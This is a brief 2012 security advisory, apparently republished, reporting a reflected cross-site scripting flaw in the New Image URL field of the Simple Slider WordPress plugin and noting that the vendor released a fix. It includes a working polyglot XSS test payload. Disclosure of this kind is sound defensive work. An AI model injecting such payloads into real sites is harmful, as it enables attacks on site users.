XSS Vulnerability in Simple Slider Wordpress Plugin

2012-12-10T00:00:00
ID SECURITYVULNS:DOC:28835
Type securityvulns
Reporter Securityvulns
Modified 2012-12-10T00:00:00

Description

Exploit Title : Simple Slider Plugin Cross-Site Scripting Vulnerabilities Author: Aditya Balapure home: http://adityabalapure.blogspot.in/ Date: 21/11/12 version: 1.0 software link: http://wordpress.org/extend/plugins/simple-slider

Simple Slider plugin description

Simple Slider Plugin for WordPress allows creation and management of simple image slideshows

XSS location

The simple Slider Plugin in Wordpress http://wordpress.org/extend/plugins/simple-slider/ has a Reflective XSS vulnerability in the New Image URL field.

Script Used-
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- > </SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

Vendor Notification

21/11/2012 to: -The vendor was notified and an updated version was released by the vendor.

http://wordpress.org/extend/plugins/simple-slider/changelog/